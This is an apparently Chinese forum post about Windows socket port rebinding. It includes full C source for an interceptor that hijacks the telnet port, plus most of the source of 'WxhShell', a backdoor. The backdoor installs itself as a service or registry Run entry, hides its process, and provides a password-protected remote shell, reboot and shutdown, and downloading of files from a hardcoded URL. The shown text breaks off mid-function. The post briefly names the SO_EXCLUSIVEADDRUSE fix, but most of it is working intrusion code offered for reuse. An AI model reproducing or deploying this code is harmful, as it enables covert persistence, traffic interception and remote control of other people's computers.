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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: QS{1CC9$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); | \'rP_I>  
W6"v)Jc>_  
  saddr.sin_family = AF_INET; 3 |hHR  
qxFB%KqU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Svc|0Ad&  
SILQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c3:,Ab|  
GFel(cx:K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 PNaay:a|  
LUC4=kk4   
  这意味着什么?意味着可以进行如下的攻击: ^j" .  
o'W5|Gy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QAvir%Y9Q  
]@uE #a:[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &jsVw)Ue  
7PANtCFb&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4g : >[q  
GlbySD@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dHK`eS$sb  
wvbPnf^y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 FI3)i>CnW  
4$*%gL;f^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zgs(Dt;  
/%&2HDA)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %n hm  
c0hwc1kv-  
  #include yto,>Utzg  
  #include -C<zF`jO  
  #include (*oL+ef-C  
  #include    =0G!f$7^i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _~*,m#uxJ  
  int main() =Qgt${|  
  { h"_~7 jq"  
  WORD wVersionRequested; AwslWkd=  
  DWORD ret; h\nI!{A0  
  WSADATA wsaData; NGOqy+Ty{f  
  BOOL val; &|!7Z4N  
  SOCKADDR_IN saddr; T}"6wywM  
  SOCKADDR_IN scaddr; wi4=OU1L)a  
  int err; GDD '[;  
  SOCKET s; .h9l7 nZt  
  SOCKET sc; 9A,^c;  
  int caddsize; c zm& ~n6$  
  HANDLE mt; tI7:5Cm  
  DWORD tid;   G3rj`Sg^c  
  wVersionRequested = MAKEWORD( 2, 2 ); JaK}|  
  err = WSAStartup( wVersionRequested, &wsaData ); L+CyQq  
  if ( err != 0 ) { TZ2=O<Kj  
  printf("error!WSAStartup failed!\n"); :'*DPB-  
  return -1; 4dhvFGlW  
  } `67[O4$<  
  saddr.sin_family = AF_INET; d)pV;6%[$q  
   QF&W`c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r=6v`)Qr  
Db6om7N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |\U5) ,m  
  saddr.sin_port = htons(23); W2z*91$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Sp}tD<V  
  { u$-U*r  
  printf("error!socket failed!\n"); 1qf!DMcdZ  
  return -1; (iR ide  
  } tl><"6AIP  
  val = TRUE; Clh!gpB c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <<i3r|}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BQ @huns3  
  { sgO'wXcoP  
  printf("error!setsockopt failed!\n"); Pv<24:ao  
  return -1; v>Mnl  
  } 7^Ns&Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =e8bNg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2'5]~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vq!_^F<  
h+aS4Q&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }J7zTj~{  
  { <x&%~6j  
  ret=GetLastError(); Tp0bS  
  printf("error!bind failed!\n"); .N*Pl(<[  
  return -1; VMCLHpSfW  
  } Gkp< o  
  listen(s,2); dlG=Vq&Y  
  while(1) j S]><rm  
  { $*kxTiG!7  
  caddsize = sizeof(scaddr); 6<$Odd  
  //接受连接请求 ND5`Q"k   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9Ffp2NW`;  
  if(sc!=INVALID_SOCKET) _z54Ycr4H  
  { C#H:-Q&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !vk|<P1  
  if(mt==NULL) mWyqG*-Hb  
  { %~jkB.\* )  
  printf("Thread Creat Failed!\n"); <D::9c j  
  break; H_0/f8GwnG  
  } *FmTy|  
  } |U_]vMq  
  CloseHandle(mt); IN,(y aC  
  } gq"gUaz  
  closesocket(s); Y;)dct  
  WSACleanup(); a\%xB >LX  
  return 0; |gsE2vV  
  }   [p2H=  
  DWORD WINAPI ClientThread(LPVOID lpParam) MNg^]tpf  
  { 8Th` ]tI  
  SOCKET ss = (SOCKET)lpParam; eQVZO>)P1+  
  SOCKET sc; J@OB`2?Zv  
  unsigned char buf[4096]; [xT:]Pw}  
  SOCKADDR_IN saddr; EZYBeqv  
  long num; P) uDLFp]  
  DWORD val; 8o/}}=m$  
  DWORD ret; 5r?m&28X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !xwG% {_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]XTu+T.aT  
  saddr.sin_family = AF_INET; 1Jj Y!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); CEC nq3  
  saddr.sin_port = htons(23); YFTjPBV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w=}uwvn NX  
  { Nr0 (E   
  printf("error!socket failed!\n"); D)@YI.T  
  return -1; Vp<seO;7o  
  } JICawj:I  
  val = 100; meCC?YAB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fd#j Y}  
  { e4G4GZH8  
  ret = GetLastError(); '*Almv{  
  return -1; Q43|U4a  
  } E7Ulnvd  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8kbY+W%n  
  { p2N:;lXM  
  ret = GetLastError(); I(S)n+E  
  return -1; Cn_$l>  
  } iA,kX\nK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;P;((2_X9  
  { q|%(3,)ig  
  printf("error!socket connect failed!\n"); zz^F k&  
  closesocket(sc); 5P .qXA"D  
  closesocket(ss); >j{z>  
  return -1; 6&!&\  
  } &*s0\ 8  
  while(1) !bC+TYsU  
  { (o J9k[(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  `juLQH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZbT/$\0(6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KE1ao9H8wR  
  num = recv(ss,buf,4096,0); zh $}~RG[  
  if(num>0) < Z|Ep1W  
  send(sc,buf,num,0); oxj3[</'k  
  else if(num==0) a"av#Y  
  break; ;r /;m\V  
  num = recv(sc,buf,4096,0); 0oh]61g C  
  if(num>0) i%{3W:!4t  
  send(ss,buf,num,0); Z--@.IYoJ  
  else if(num==0) #UtFD^h  
  break; @VN&t:/l  
  } @Eb2k!T  
  closesocket(ss); ~Xlrvb}LP  
  closesocket(sc); x'zBK0i  
  return 0 ; l_j4DQBRV  
  } NjE</Empb%  
v?c 0[+?  
g}f9dB,F  
========================================================== {ls+d x/  
{}o>{&X  
下边附上一个代码,,WXhSHELL W[[bV  
>3gi yeJ  
========================================================== GdVhK:<>  
j,d*?'X  
#include "stdafx.h" X1tXqHJF}  
t |W)   
#include <stdio.h> 9]'($:LF08  
#include <string.h> >\ u<&>i  
#include <windows.h> }YOL"<,:o  
#include <winsock2.h> S?{ /hy  
#include <winsvc.h> .d?%;2*{q  
#include <urlmon.h> Eh| .  
K\^ 0_F K  
#pragma comment (lib, "Ws2_32.lib") l/y]nw  
#pragma comment (lib, "urlmon.lib") 0GDvwy D1  
muW!xY  
#define MAX_USER   100 // 最大客户端连接数 I5AO?BzJ  
#define BUF_SOCK   200 // sock buffer T<-=nX  
#define KEY_BUFF   255 // 输入 buffer ?4CNkk=v  
93IFcmO.H@  
#define REBOOT     0   // 重启 "7d-z<^n  
#define SHUTDOWN   1   // 关机 z^nvMTC  
<?0~1o\Ur  
#define DEF_PORT   5000 // 监听端口 j%V["?)  
J!ntXF  
#define REG_LEN     16   // 注册表键长度 |KYEK|  
#define SVC_LEN     80   // NT服务名长度 "&Qctk`<P  
L5IbExjV  
// 从dll定义API <As9>5|%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J wmT /  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )U:2z-X&e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]ALc;lb-}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QFPfIb/  
O;HY%  
// wxhshell配置信息 L?Yoh<  
struct WSCFG { N:VX!w  
  int ws_port;         // 监听端口 W YW|P2*  
  char ws_passstr[REG_LEN]; // 口令 ^")F7`PF  
  int ws_autoins;       // 安装标记, 1=yes 0=no r,(e t  
  char ws_regname[REG_LEN]; // 注册表键名 nsb4S {  
  char ws_svcname[REG_LEN]; // 服务名 ~e@>zoM'^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @OV-KT[>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zVv04_:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jy2IZ o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .7ayQp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Fk=}iB#(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Hqz?E@bc@  
Wk4.%tpeO7  
}; r C[6lIP  
B6}FIg)  
// default Wxhshell configuration d h^^G^  
struct WSCFG wscfg={DEF_PORT, aH_6s4+:  
    "xuhuanlingzhe", hbOnlj4  
    1, rAdacnZV  
    "Wxhshell", V+wH?H=  
    "Wxhshell", |rRG=tG_'  
            "WxhShell Service", ]7AX%EG3  
    "Wrsky Windows CmdShell Service", lz | 64J  
    "Please Input Your Password: ", T_<BVM  
  1, c:M$m3Cs?  
  "http://www.wrsky.com/wxhshell.exe", 02JL*  
  "Wxhshell.exe" ?lCd{14Mkh  
    }; N?4q  
~<qt%W?  
// 消息定义模块 C.!_]Pxs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ALd;$fd qf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Fs/?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ix DWJ#k  
char *msg_ws_ext="\n\rExit."; &ogt2<1W  
char *msg_ws_end="\n\rQuit."; ]"fsW 9s  
char *msg_ws_boot="\n\rReboot..."; &B{8uge1  
char *msg_ws_poff="\n\rShutdown..."; |`yZIY_  
char *msg_ws_down="\n\rSave to "; +$z]w(lbT  
YJ7V`N p  
char *msg_ws_err="\n\rErr!"; !$XHQLqF2  
char *msg_ws_ok="\n\rOK!"; dpN@#w  
}b["Jk\2  
char ExeFile[MAX_PATH]; qW^vz  
int nUser = 0; cX2^wu  
HANDLE handles[MAX_USER]; Vs 0 SXj  
int OsIsNt; ":?T%v>  
\ SCy$,m  
SERVICE_STATUS       serviceStatus; farDaS[\VY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ://U^sFL  
;@4H5p  
// 函数声明 ek-!b!iI  
int Install(void); eQX`,9:5  
int Uninstall(void); ,35&G"JK5  
int DownloadFile(char *sURL, SOCKET wsh); q(z7~:+qNr  
int Boot(int flag); eTE2J~\  
void HideProc(void); Z&yaSB  
int GetOsVer(void); ,WTTJN  
int Wxhshell(SOCKET wsl); 2C+(":=}  
void TalkWithClient(void *cs); OjnJV  
int CmdShell(SOCKET sock); R 4EEelSZu  
int StartFromService(void); t)1phg4H)  
int StartWxhshell(LPSTR lpCmdLine); JSMPyj  
p_terD:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dXu{p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f5dR 5G  
l`n5~Fs  
// 数据结构和表定义 a, Kky ^B  
SERVICE_TABLE_ENTRY DispatchTable[] = q7]>i!A  
{ Re:T9K'e  
{wscfg.ws_svcname, NTServiceMain}, ?KN:r E  
{NULL, NULL} 0~E 6QhV:  
}; DR+,Y2!_GT  
\%_ZV9cKF  
// 自我安装 r)l`  
int Install(void) 7|D|4!i2Y  
{ }B!cv{{  
  char svExeFile[MAX_PATH]; qJs[i>P[W  
  HKEY key; p%RUHN3G[  
  strcpy(svExeFile,ExeFile); x6yW:tUG5  
, r+"7$  
// 如果是win9x系统,修改注册表设为自启动 Etnb3<^[t  
if(!OsIsNt) { s^C;>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c]m! G'L_/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F$6? t.@J  
  RegCloseKey(key); T[Q"}&bB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gi$gtLtN h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bejGfc  
  RegCloseKey(key); !;}2F-  
  return 0; |+EKF.K  
    } L~0& Q  
  } $iJnxqn  
} ,w\ wQn>]K  
else { 6Dzs?P  
LDX*<(  
// 如果是NT以上系统,安装为系统服务 af>3V(7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #vnT&FN0[  
if (schSCManager!=0) {OxWcK\2@h  
{ ^e9aD9  
  SC_HANDLE schService = CreateService :0Te4UE;P7  
  ( Ee?;i<u  
  schSCManager, (:}<xxl  
  wscfg.ws_svcname, 5Hle-FDn9  
  wscfg.ws_svcdisp, 5RhF+p4  
  SERVICE_ALL_ACCESS, Ol cP(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,t~sV@ap  
  SERVICE_AUTO_START, F3 f@9@b   
  SERVICE_ERROR_NORMAL, p?Sl}A@`  
  svExeFile, T Oy7?;|=  
  NULL, 8W{~wg`  
  NULL, G' Hh{_:  
  NULL, ~/c5 hyTx  
  NULL, ~zMKVM1Q.,  
  NULL NNX% Bq  
  ); mU]s7` %<>  
  if (schService!=0) r{"uv=,`  
  { [h", D5  
  CloseServiceHandle(schService); *)%dXVf  
  CloseServiceHandle(schSCManager); i_Ar<9a~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hAa[[%wPhU  
  strcat(svExeFile,wscfg.ws_svcname); u9>6|w+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T +\B'"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,P{ HE8.  
  RegCloseKey(key); v72,h  
  return 0; qc-C>Ra  
    } s`Vf+ l0  
  } AF[>fMI  
  CloseServiceHandle(schSCManager); qBiyGlu4  
} x^2 W?<  
} cdp{W  
wb+<a  
return 1; W?PWJkIw  
} hT=f;6$  
*f*f&l%  
// 自我卸载 !rHx}n{rw  
int Uninstall(void) TolrEcI  
{ 9Z9l:}bO  
  HKEY key; .\4l'THn,0  
K{FhT9R'  
if(!OsIsNt) { Z!)f*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lVT&+r~r  
  RegDeleteValue(key,wscfg.ws_regname); [D9:A  
  RegCloseKey(key); "i''Ui\H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2lJZw@  
  RegDeleteValue(key,wscfg.ws_regname); x~(y "^ph  
  RegCloseKey(key); '_E c_F  
  return 0; ^6&_| f  
  } _=T]PSauI  
} + o{*r#  
} M\jB)@)  
else { %(NN *o9"q  
dk4D+*R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5%qH 7[dx  
if (schSCManager!=0) \!7*(&yly  
{ 7uA\&/ ,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nr<.YeJ  
  if (schService!=0) M/)B" q  
  { *s36O F!  
  if(DeleteService(schService)!=0) { J;HkTT   
  CloseServiceHandle(schService); , #Ln/;  
  CloseServiceHandle(schSCManager); F#^L9  
  return 0; M)tv;!eQ  
  } Bpas[2gYC  
  CloseServiceHandle(schService); +yIL[D  
  } P09,P  
  CloseServiceHandle(schSCManager); hqWbp*  
} nO}$ 76*'0  
} lG < yJ~{  
` Rsl] GB  
return 1; 'M lXnHxt  
} k?n]ZNlT  
8iOO1I?+  
// 从指定url下载文件 VB's  
int DownloadFile(char *sURL, SOCKET wsh) cyHhy_~R  
{ u:eW0Ows"  
  HRESULT hr; [^Q&suy  
char seps[]= "/"; .CvFE~  
char *token; +|M{I= 8  
char *file; 8LeK wb  
char myURL[MAX_PATH]; y* rY~U#3  
char myFILE[MAX_PATH]; h/{8bC@bi  
Bf+^O)Ns^  
strcpy(myURL,sURL); YjL t&D:IZ  
  token=strtok(myURL,seps); W`5a:"Vg  
  while(token!=NULL) oB3q AP  
  { {[N?+ZJD*L  
    file=token; cPm~` Zd  
  token=strtok(NULL,seps); CCn/ udp@  
  } lf;~5/%wMG  
b<8q 92F  
GetCurrentDirectory(MAX_PATH,myFILE); >0 7shNX  
strcat(myFILE, "\\"); >waN;&>/  
strcat(myFILE, file); k5g@myb-  
  send(wsh,myFILE,strlen(myFILE),0); .h a`)@MsZ  
send(wsh,"...",3,0); ;i}i5yv2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^YqbjL  
  if(hr==S_OK) dUZ$wbV%h  
return 0; iW":DOdi_  
else Qz# 3p3N?  
return 1; s ?5 d  
RpULm1b  
} .dt#2a_5q  
22PGWSQ  
// 系统电源模块 we }#Ru*  
int Boot(int flag) MHGjvSx  
{ s5nB(L*Pjp  
  HANDLE hToken; 1"M"h_4  
  TOKEN_PRIVILEGES tkp; H a90  
|E? ,xWN  
  if(OsIsNt) { -S`TEX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '}@e5^oL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a4:`2  
    tkp.PrivilegeCount = 1; $m{{,&}k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eS* *L 3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nhp)yW  
if(flag==REBOOT) { "Jf4N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2$iw/ r  
  return 0; >J9IRAm}sc  
} cxL,]27Bu  
else { 2V 4`s'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f(^33k  
  return 0; sw[<VsxjR  
} YmZC?x_{M2  
  } $#F;xys  
  else { tP&{ J^G  
if(flag==REBOOT) { bb*c+XN0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RA! x  
  return 0; vM5k4%D  
} Ml'bZLwq  
else { owP6dtd)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IvPA|8(  
  return 0; |}l@w +N3  
} [O.LUR;  
} Ar\IZ_Q  
B 9%yd*SJ  
return 1; u!hqq^1  
} <{3q{VW*  
q] 2}UuM|U  
// win9x进程隐藏模块 FEge+`{,  
void HideProc(void) R~U2/6V  
{ S~]8K8"sT  
Wh#os,U$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a.5zdoH_  
  if ( hKernel != NULL ) l=Vowx.$2f  
  { mABwM$_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %iHyt,0v2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <|mE9u  
    FreeLibrary(hKernel); }Z~pfm_S  
  } fx8y`8}_  
CUAg{]  
return; 8Cf^$  
} uJ2C+$=Ul  
'XC&BWJ  
// 获取操作系统版本 ]w1BJZa36  
int GetOsVer(void) Gnuo-8lb  
{ |H3?ox*  
  OSVERSIONINFO winfo; A>rWGo.{E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fRca"vV  
  GetVersionEx(&winfo); [wXwKr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e<: 4czh8  
  return 1; ~ wJ3AqNC?  
  else KT]J,b  
  return 0; nN(D7wk  
} ,_wm,  
s[vPH8qb  
// 客户端句柄模块 3Vb=6-|  
int Wxhshell(SOCKET wsl) /)eNx  
{ "(HA9:  
  SOCKET wsh; ZC9.R$}Kl  
  struct sockaddr_in client; Ppi-skT  
  DWORD myID; U{U:8==  
rU2YMghE  
  while(nUser<MAX_USER) {GG~E54&B  
{ U_ N5~#9   
  int nSize=sizeof(client); 5<:VJC<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E)rOlh7  
  if(wsh==INVALID_SOCKET) return 1; O,V6hU/ *  
}]Gi@Nh|o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >yPFL'  
if(handles[nUser]==0) =2vMw]  
  closesocket(wsh); /eU1(oo&`5  
else =0!\F~  
  nUser++; ]iE.fQ?;J  
  } :!Y?j{sGU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !?us[f=g%  
tehI!->l  
  return 0; F'Y 2f6B  
} FJwZo}<6E  
mV! @oNCK  
// 关闭 socket ~T p8>bmSR  
void CloseIt(SOCKET wsh) f>"!-3  
{ c],frhmyd  
closesocket(wsh); 67K RM(S  
nUser--; N.Wdi  
ExitThread(0); Ndug9j\2  
} I[cV"BDa  
nDoiG#N0  
// 客户端请求句柄 HqnKpZ  
void TalkWithClient(void *cs) F`ZIc7(.{  
{ ]L%R[Z!3  
'%]@a7w  
  SOCKET wsh=(SOCKET)cs; C&CsI] @g  
  char pwd[SVC_LEN]; |)72E[lL  
  char cmd[KEY_BUFF]; 7gdU9c/q,  
char chr[1]; KWn1%oGJ  
int i,j; H2FFw-xW  
DESViQM  
  while (nUser < MAX_USER) { LGo@F;!n  
+~i+k~{`H  
if(wscfg.ws_passstr) { X gx2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~y-vKCp|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y T1Qep  
  //ZeroMemory(pwd,KEY_BUFF); /i~^LITH  
      i=0; ZR01<V  
  while(i<SVC_LEN) { R6WgA@Z|r  
k,*#I<($  
  // 设置超时   L@k;L  
  fd_set FdRead; afP&+ 5t@O  
  struct timeval TimeOut; UmD-7Fd  
  FD_ZERO(&FdRead); ~&j`9jdOj  
  FD_SET(wsh,&FdRead); ?3"D| cS1  
  TimeOut.tv_sec=8; gA 6h5F)_  
  TimeOut.tv_usec=0; k vgs $  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y +_5"LV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fj t_9-.  
^]lwd"$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1N$gE  
  pwd=chr[0]; ]Re~V{uh  
  if(chr[0]==0xd || chr[0]==0xa) { sG1]A:_<C  
  pwd=0; t+4Y3*WeGF  
  break; (HrkUkw  
  } f;tyoN0wHx  
  i++; mTuB*  
    } 5c}9  
: ! iPn%  
  // 如果是非法用户,关闭 socket >*t>U8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <K=B(-~  
} -C'X4C+  
c%LB|(@j{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )`+@j.75  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @aV~.!!  
Vg,>7?]6h  
while(1) { yL3<X w|  
7U[L\1zS  
  ZeroMemory(cmd,KEY_BUFF); <Ec)m69P  
Va |9)m  
      // 自动支持客户端 telnet标准   kW2nrkF  
  j=0; K%TKQ<R|  
  while(j<KEY_BUFF) { r(in]7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]20 "la5  
  cmd[j]=chr[0]; >pH775I=  
  if(chr[0]==0xa || chr[0]==0xd) { tId !C  
  cmd[j]=0; `TlUJ]d)  
  break; 0i Z9a/v  
  } =@jMx^A"  
  j++; %`\_l  
    } /jn3'q_,  
4@mXtA  
  // 下载文件 u g:G9vjQ  
  if(strstr(cmd,"http://")) { i(f;'fb*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \Af|$9boHz  
  if(DownloadFile(cmd,wsh)) On.x~ t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E#2k|TpH4  
  else Qdr-GODx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -z 5k4Y  
  } .kKwdqO+zB  
  else { FPUR0myCU  
L|1zHDxQ  
    switch(cmd[0]) { V-ouIqnI  
  ExP25T  
  // 帮助 6j"I5,-~!  
  case '?': { hC, -9c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6u, 0y$3  
    break; ,f0g|5yDf  
  } ;{q) |GRF  
  // 安装 ?! _pP|  
  case 'i': { Ee\-q  
    if(Install()) )4_6\VaM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .yfqS|(  
    else <&0*5|rR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q%VR@[`\  
    break; P"_}F  
    } m3xj5]#^$  
  // 卸载 ?M-8Fp3 +  
  case 'r': { ^\kHEM|5v  
    if(Uninstall()) #M^Yh?~%w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;6 qdOD6  
    else *;yMD-=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $~@096`QL<  
    break; PW//8lsR  
    } >Wit"p  
  // 显示 wxhshell 所在路径 ZFuJ2 :  
  case 'p': { @$yYljP  
    char svExeFile[MAX_PATH]; |wb(rua  
    strcpy(svExeFile,"\n\r"); ?| LB:8  
      strcat(svExeFile,ExeFile); hGo|2@sc  
        send(wsh,svExeFile,strlen(svExeFile),0); f uN XY-;  
    break; 34^Cfh  
    } O#5( U. E  
  // 重启 cA SHgm  
  case 'b': { +M]8_kE=+l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S=amjcC  
    if(Boot(REBOOT)) |j}F$*SE[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J$/BH\  
    else { h5JwB<8  
    closesocket(wsh); r4ttEJ-jG  
    ExitThread(0); zomNjy*  
    } 'CO[s.03  
    break; jL%}y1m?  
    } 5_C#_=E  
  // 关机 5t#]lg[06'  
  case 'd': { }<h. chz,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /P"\ +Qp  
